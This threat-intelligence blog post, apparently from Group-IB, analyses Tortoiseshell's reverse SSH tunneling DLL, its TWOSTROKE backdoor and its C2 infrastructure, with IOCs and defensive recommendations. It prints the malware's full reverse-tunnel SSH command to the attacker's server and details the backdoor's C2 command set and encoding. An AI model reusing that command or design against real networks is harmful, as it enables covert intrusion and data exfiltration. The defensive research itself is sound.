Introduction
Group-IB Threat Intelligence began investigating Tortoiseshell activity following public reporting by Kaspersky (Securelist). Through enrichment of the reported indicators and our own hunting rules, we identified additional infrastructure, broader targeting, and previously unreported malware samples associated with the group.
Tortoiseshell is an Iranian-linked threat actor that has been active since at least 2018, primarily targeting defence, aerospace, IT service providers, and military organisations in the Middle East and the United States. The group is known for its use of supply chain compromises, watering hole attacks, fake recruitment websites, and custom backdoors, and has been linked to operations supporting Iran’s Islamic Revolutionary Guard Corps (IRGC).
Tortoiseshell was amongst the most active Iranian APT groups in 2026 according to Group-IB Threat intelligence.
Key Findings
- Group-IB tracks this group as Tortoiseshell (also known as Mirage Kitten, UNC1549, and Nimbus Manticore), an Iranian-nexus threat actor affiliated with IRGC.
- Enrichment of the Mirage Kitten reporting uncovered extensive Tortoiseshell infrastructure spanning Europe and the Middle East.
- Identified further malicious components, including an SSH-based tunneling utility and a backdoor mirroring the TWOSTROKE family previously observed by GTIG in late 2025. This C++ backdoor possesses capabilities for executing shell or file commands, uploading and exfiltrating files, and conducting reconnaissance.
- The discovered Tortoiseshell infrastructure potentially suggests an expanded targeting profile, focusing on Middle Eastern countries, alongside European countries.
Who may find this blog interesting:
- Cyber Threat Intelligence and Threat Hunting Specialists
- Cybersecurity Analysts and Corporate Security Teams
- National Cybersecurity Centers and Intelligence Agencies
- Computer Emergency Response Teams (CERTs)
- Malware and reverse engineering analysts
Group-IB Threat Intelligence Portal: Tortoiseshell
Group-IB customers can access comprehensive and up-to-date intelligence on Tortoiseshell — including infrastructure, tooling, indicators, and activity tracking — via the Group-IB Threat Intelligence Portal.
Technical Analysis
SSH Tunneling Tool
The first sample discovery comes from investigating a known C2 IP (172[.]86[.]98[.]113) from the abovementioned Securelist report:
| MD5 | 07dd28b748656e9e1a870c538d6df68c |
| SHA1 | e39bb97415978fa3484298735bd020662a51f3ab |
| SAH-256 | d23c1b7b917f53e4e5a608e9870e574f7461eead277726249c4acf4a2b0bef4b |
| Link time | Thursday, 19.08.2021 20:29:23 UTC |
| File type | PE32+ executable (DLL) (console) x86-64, for MS Windows |
| Compiler | Compiler: Microsoft Visual C/C++(19.29.30140)[LTCG/C++] |
| File size | 123.00 KB (125952 bytes) |
| File name | wtsapi32.dll |
Analysis of this sample shows this as a Reverse SSH tunneling tool. It masquerades as the Windows Terminal Server SDK API, while forward-exporting all legitimate functions of wtsapi32.dll.
The identified tool executes the following command for establishing the tunnel:
C:\windows\system32\openssh\ssh.exe root@172[.]86[.]98[.]113 -p 443 -i C:\Windows\System32\config\systemprofile\ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 1081

Figure 1. Sample analysis showing the tool establishing a reverse SSH tunnel.
Execution of this command establishes an SSH connection to the operator’s infrastructure at 172.86.98[.]113 on port 443 to set up a reverse tunnel. As a result, traffic sent to localhost:1081 on the C2 server is redirected back through the tunnel directly into the compromised network. This tool’s behavior aligns with TTPs previously documented by Google Cloud regarding UNC1549, which utilizes reverse SSH tunnels to forward traffic from a C2 server down into a compromised network.
TWOSTROKE Backdoor
The second sample discovery comes from Group-IB APT Hunting activities. Analysis of the sample shows similarities to TWOSTROKE backdoor previously reported by GTIG in late 2025, this indicates continued use of this backdoor by the TA.
| MD5 | db58adc4a6c192520ed509b20a928279 |
| SHA1 | c0dba95939f7fc1a55b7aa6c132a204f073a981d |
| SAH-256 | 597c40e0b23f38f30a3c85be0510b14985b2948895819c899e3f3c8f200aa437 |
| Link time | Wednesday, 26.09.2018 07:21:14 UTC |
| File type | PE32+ executable (DLL) (GUI) x86-64, for MS Windows |
| Compiler | Microsoft Visual C/C++(19.29.30137)[LTCG/C++] |
| File size | 638.00 KB (653312 bytes) |
| File name | wtsapi32.dll |
Masquerading as the Windows terminal server SDK DLL (wtsapi32.dll), this backdoor forward-exports all legitimate SDK functions. It appears to be designed for DLL search-order hijacking, tricking legitimate executables into loading the backdoor.
The execution of the backdoor begins within the DLLMain function. It starts by dynamically resolving necessary APIs and saving resolved function addresses inside a global map object. Subsequently, when the backdoor requires the execution of a previously resolved API function, it queries this map using the API name to extract the resolved function address.
Although the backdoor does not employ advanced obfuscation techniques, it notably stores all sensitive strings — including API and DLL names — as encrypted stack strings that are subsequently decrypted at runtime.

Figure 2. Second sample analysis shows TWOSTROKE backdoor decrypting stack strings.
Once the necessary API functions are resolved, the malware creates a worker thread dedicated to managing communication with the C2 server. This thread starts with the dynamic resolution of WinHttp API functions, which are required to establish network connectivity between the backdoor and the C2 infrastructure. After these WinHttp functions are successfully resolved, the implant creates a unique victim identifier for the infected machine. It does this by calling GetComputerNameExW with the name type set to ComputerNameDnsFullyQualified, which returns the machine’s fully qualified hostname (Hostname.DomainName). This string is then XORed using the repeating key “Pn“, hex-encoded, and finalized by reversing the trailing two-thirds of the resulting hex string.
Command and Control
The backdoor utilizes multiple Command and Control (C2) servers such that if one goes down the next available C2 server will be used . This specific sample analyzed by Group-IB contains three hardcoded C2 servers:
- neexportfolio[.]com
- neexportfolio.azurewebsites[.]net
- neexportfolio.eastus.cloudapp.azure[.]com

Figure 3. Example of an identified Tortoiseshell C2 server node on Group-IB Graph.
Using the previously resolved WinHttp functions, it establishes an HTTPS connection with the chosen C2 server by sending the unique host identifier through a POST request. Upon receiving a 200 response status code, it queries the server for available C2 commands. Subsequently, it creates a new worker thread to dispatch and execute the retrieved commands.
Upon receiving a response from the C2 server, the backdoor deserializes the command to extract its data. A typical C2 command comprises fields separated by the “@##@” delimiter. These fields contain the command identifier or index, which is used to locate the appropriate C2 handler function from those registered at the start of the dispatch function’s execution, as well as the command arguments that are interpreted uniquely by each handler function.
Supported C2 commands are:
| Command ID | Description | Arguments |
| 0 | Upload/exfiltrate file to the C2 server | C2 URL and server path |
| 1 | Execute executable file or shell command | File path or shell command to execute |
| 2 | Execute DLL in memory | DLL path |
| 3 | Download file from C2 | File path on the C2 server |
| 4 | Get full victim username | None |
| 5 | Get full victim machine name | None |
| 6 | List directory | Directory path |
| 7 | Delete File | File path |
Attack Infrastructure Discovery
The third discovery comes as a result of pivoting from the known C2 domain (aecert[.]org) from the Securelist report. Related DNS information reveals the IP address 185.253.116[.]81:

Figure 4. New IP address linked to a known Tortoiseshell C2 identified via Group-IB Graph.
Two interesting domains were found to be related to this IP address:
| Domain | Registrar | Registered | Status |
| locat[.]sbs | Global Domain Group LLC | 2026-05-18 | Active, Cloudflare NS |
| tiktok-u[.]sbs | Global Domain Group LLC | 2026-02-26 | Suspended (client hold) |

Figure 5. Identifying two additional related domains on Group-IB Graph.
Expanding more on these domains shows interesting subdomains:
| locat[.]sbs | tiktok-u[.]sbs |
|
|

Figure 6. Further subdomain mapping via Group-IB Graph shows potential target profile expansion.
Complete IP-to-Subdomain Mapping for domain locat[.]sbs:
| IP | Subdomain | ASN | Country | Open Services |
| 89.44.80[.]168 | uae1 | AS59711 HZ | UAE | 80/Caddy, 443, 2222/TLS |
| 89.44.80[.]234 | uae2 | AS59711 HZ | — | 80/Caddy, 443, 2222/TLS |
| 185.253.116[.]99 | uae3 | AS59711 HZ | SA | 80/Caddy, 443, 2222/TLS |
| 95.174.68[.]199 | uae4 | AS8849 Melbicom | UAE | 80/Caddy, 443, 2222/TLS |
| 89.44.80[.]6 | uae5 | AS59711 HZ | RO | 80/Caddy, 443, 2222/TLS, 2053/3x-ui |
| 185.253.116[.]166 | uae6 | AS59711 HZ | SA | 80/Caddy, 443, 2222/TLS, 9100/Prometheus |
| 89.44.80[.]42 | uae7 | AS59711 HZ | RO | 80/Caddy, 443, 2222/TLS |
| 185.253.116[.]81 | uae8 | AS59711 HZ | FR | 80/Caddy, 443, 2222/TLS |
| 89.44.80[.]56 | uae9 | AS59711 HZ | — | 80/Caddy, 443, 2222/TLS |
| 185.253.116[.]242 | uae10 | AS59711 HZ | SA | 80/Caddy, 443, 2222/TLS, 1080/SOCKS5, 3000/Node.js |
| 185.253.116[.]71 | uae11 | AS59711 HZ | SA | 80/Caddy, 443, 2222/TLS |
| 89.44.80[.]86 | uae12 | AS59711 HZ | — | 80/Caddy, 443, 2222/TLS |
| 89.44.80[.]61 | uae13 | AS59711 HZ | — | 80/Caddy, 443, 2222/TLS |
| 89.44.80[.]96 | uae14 | AS59711 HZ | — | 80/Caddy, 443, 2222/TLS |
| 94.126.227[.]20 | sau1 | AS59711 HZ | PL | 80/Caddy, 443, 2222/TLS |
| 94.126.227[.]119 | sau2 | AS59711 HZ | PL | 80/Caddy, 2222/TLS |
| 185.253.118[.]246 | sau3 | AS59711 HZ | SA | 80/Caddy, 443, 2222/TLS |
| 91.193.16[.]187 | uk1 | AS61046 HZ-UK | GB | 80/Caddy, 443, 2222/TLS |
| 188.119.149[.]200 | uk2 | AS61046 HZ-UK | GB | 80/Caddy, 443, 2222/TLS |
| 185.66.68[.]213 | bel1 | AS6697 Beltelecom | BY | 80/Caddy, 443, 2222/TLS |
| 79.141.167[.]230 | can2 | AS201525 HZ-CA | CA | 80/Caddy, 443, 2222/TLS |
| 139.84.202[.]187 | au1 | AS20473 Vultr | AU | 80/Caddy, 443, 2222/TLS, 3389/RDP, 5985/WinRM |
| 167.179.89[.]68 | jp2 | AS20473 Vultr | JP | 80/Caddy, 443, 2222/TLS, 9100/Prometheus |
| 72.56.34[.]52 | bridge1 | AS9123 TimeWeb | SC | 80/Nginx, 443/Nginx, 2222/SSH, 8000/uvicorn |
| 85.208.86[.]140 | cloud | AS208677 Cloud.ru | RU | 80/Caddy, 443, 2222/TLS |
| 95.85.235[.]9 | 5orka | AS213887 WAIcore | DE | 80/Caddy, 443, 8001/uvicorn |
This infrastructure discovery is particularly interesting because of the subdomains resembling country names. The actual use of this infrastructure is still not clear at the time of this report since no related samples were identified so far, and the infrastructure alone doesn’t reveal enough details to confidently infer its purpose.
However, it is worth noting that the servers stayed the same after tiktok-u[.]sbs was suspended by the registrar. Historical DNS resolution shows that the subdomains on locat[.]sbs are mapped to the same servers that were previously mapped to tiktok-u[.]sbs.
Conclusion
Tortoiseshell remains an active Iranian-nexus threat actor, and Group-IB research confirms that the group is actively expanding both its geographic reach and operational capabilities. The identification of infrastructure targeting Middle Eastern and European countries alongside continued development of tools such as the TWOSTROKE backdoor and SSH-based tunneling utilities demonstrates a threat actor that is steadily evolving its toolset and adapting its techniques to maintain access across a growing number of targets.
Organizations in the affected regions should treat this activity as an ongoing and escalating threat. Tortoiseshell’s affiliation with the IRGC, combined with its focus on defence, aerospace, and government-adjacent sectors, positions it as a group capable of enabling both espionage and disruptive operations in service of state objectives.
The broader regional threat landscape remains volatile. Given the fragile nature of current geopolitical conditions, cyber operations conducted by actors like Tortoiseshell are unlikely to change, since espionage doesn’t constitute pressure or escalation in the way a destructive/disruptive or kinetic operation would.
Continuous monitoring, proactive threat hunting, and intelligence sharing remain essential for organizations operating in targeted geographies and sectors.
Recommendations
Organizations can reduce exposure to recent Tortoiseshell / UNC1549 / Nimbus Manticore / Mirage Kitten operations by implementing the following measures.
- Subscribe to trusted threat intelligence feeds to receive up-to-date Indicators of Compromise (IOCs) along with Tactics, Techniques, and Procedures (TTPs) associated with Tortoiseshell.
- Maintain persistent threat hunting operations to detect infrastructure and signs linked to TWOSTROKE (such as neexportfolio[.]com or side-loading of wtsapi32.dll from unusual locations).
- Deploy targeted YARA rules and utilize Endpoint Detection and Response (EDR) mechanisms to identify known malware strains from the Tortoiseshell group.
- Monitor outbound network traffic for beaconing and HTTPS requests that match Tortoiseshell command-and-control communication patterns.
Frequently Asked Questions (FAQ)
1. What is an Advanced Persistent Threat (APT)?
An Advanced Persistent Threat (APT) is a stealthy, prolonged cyberattack conducted by a well-resourced group — often state-sponsored. APTs normally focus on performing continuous espionage, secretly stealing sensitive information, such as intellectual property, financial data, or government secrets.
2. What are supply chain compromises / attacks?
A supply chain attack is a cyberattack that targets an organization indirectly by first compromising a vendor, supplier, or software component in its ecosystem. Supply chain attacks target software vendors, managed service providers, and SaaS platforms to reach downstream customers. When threat actors compromise a trusted supplier or integration point, they can leverage legitimate access, making detection more difficult than with a direct attack.
3. What are the new Tortoiseshell toolsets identified in this research?
The research highlights a reverse SSH-based tunneling utility disguised as a Windows Terminal Server API (wtsapi32.dll) and an updated sample of the TWOSTROKE C++ backdoor. Both components enable attackers to execute shell commands, manage files, and route C2 traffic directly into compromised environments.
4. What is a reverse SSH tunnel and how do cybercriminals exploit it?
A reverse SSH tunnel is an encrypted connection initiated from inside an infected system outward to an attacker’s server. Cybercriminals exploit it by routing traffic sent to their C2 server back through this established connection, enabling them to bypass inbound firewalls and directly access compromised internal networks.
5. Which regions are the Tortoiseshell APT group observed to be expanding into?
The group’s infrastructure and targeting profile span across countries in Europe and the Middle East. Specific targets include European nations such as the UK, France, Albania, and Belarus, alongside Middle Eastern regions including Israel, Turkey, and GCC member states.
Indicators of Compromise (IOCs)
| Type | Value | Note |
| File hash | db58adc4a6c192520ed509b20a928279 | TWOSTROKE backdoor |
| File hash | 07dd28b748656e9e1a870c538d6df68c | Reverse SSH tunnel |
| Domains and IPs | 172.86.98[.]113
185.66.68[.]213 185.253.116[.]71 185.253.116[.]242 185.253.118[.]246 94.126.227[.]20 89.44.80[.]42 91.193.16[.]187 89.44.80[.]234 89.44.80[.]61 94.126.227[.]119 89.44.80[.]86 89.44.80[.]6 185.253.116[.]99 89.44.80[.]56 95.174.68[.]199 185.253.116[.]166 139.84.202[.]187 188.119.149[.]200 85.208.86[.]140 89.44.80[.]96 185.253.116[.]81 79.141.167[.]230 95.85.235[.]9 167.179.89[.]68 89.44.80[.]168 72.56.34[.]52 neexportfolio[.]com neexportfolio[.]azurewebsites[.]net neexportfolio[.]eastus.cloudapp.azure[.]com locat[.]sbs tiktok-u[.]sbs jp2.tiktok-u[.]sbs uk2.locat[.]sbs can2.tiktok-u[.]sbs uae7.locat[.]sbs uae5.locat[.]sbs sau3.locat[.]sbs uae14.locat[.]sbs uae2.locat[.]sbs uae1.locat[.]sbs au1.tiktok-u[.]sbs uae4.locat[.]sbs uae12.locat[.]sbs uae3.locat[.]sbs cloud.tiktok-u[.]sbs 5orka.tiktok-u[.]sbs uae11.locat[.]sbs sau1.locat[.]sbs uk2.tiktok-u[.]sbs uae8.tiktok-u[.]sbs can2.locat[.]sbs uae12.tiktok-u[.]sbs au1.locat[.]sbs 5orka.locat[.]sbs bel1.locat[.]sbs uae2.tiktok-u[.]sbs sau2.locat[.]sbs uae13.locat[.]sbs uae9.tiktok-u[.]sbs uk1.locat[.]sbs uae7.tiktok-u[.]sbs uae6.tiktok-u[.]sbs uae1.tiktok-u[.]sbs uae4.tiktok-u[.]sbs uae11.tiktok-u[.]sbs uae5.tiktok-u[.]sbs uae10.tiktok-u[.]sbs uk1.tiktok-u[.]sbs jp2.locat[.]sbs bridge1.locat[.]sbs bel1.tiktok-u[.]sbs uae13.tiktok-u[.]sbs uae14.tiktok-u[.]sbs sau2.tiktok-u[.]sbs uae9.locat[.]sbs uae3.tiktok-u[.]sbs sau1.tiktok-u[.]sbs sau3.tiktok-u[.]sbs uae8.locat[.]sbs cloud.locat[.]sbs bridge1.tiktok-u[.]sbs uae6.locat[.]sbs uae10.locat[.]sbs |
|
DISCLAIMER: All technical information, including malware analysis, indicators of compromise and infrastructure details provided in this publication, is shared solely for defensive cybersecurity and research purposes. Group-IB does not endorse or permit any unauthorized or offensive use of the information contained herein. The data and conclusions represent Group-IB’s analytical assessment based on available evidence and are intended to help organizations detect, prevent, and respond to cyber threats.
Group-IB expressly disclaims liability for any misuse of the information provided. Organizations and readers are encouraged to apply this intelligence responsibly and in compliance with all applicable laws and regulations.
This blog may reference legitimate third-party services such as Telegram and others, solely to illustrate cases where threat actors have abused or misused these platforms.
This material is provided for informational purposes, prepared by Group-IB as part of its own analytical investigation, and reflects recently identified threat activity.
All trademarks referenced herein are the property of their respective owners and are used solely for informational purposes, without any implication of affiliation or sponsorship.








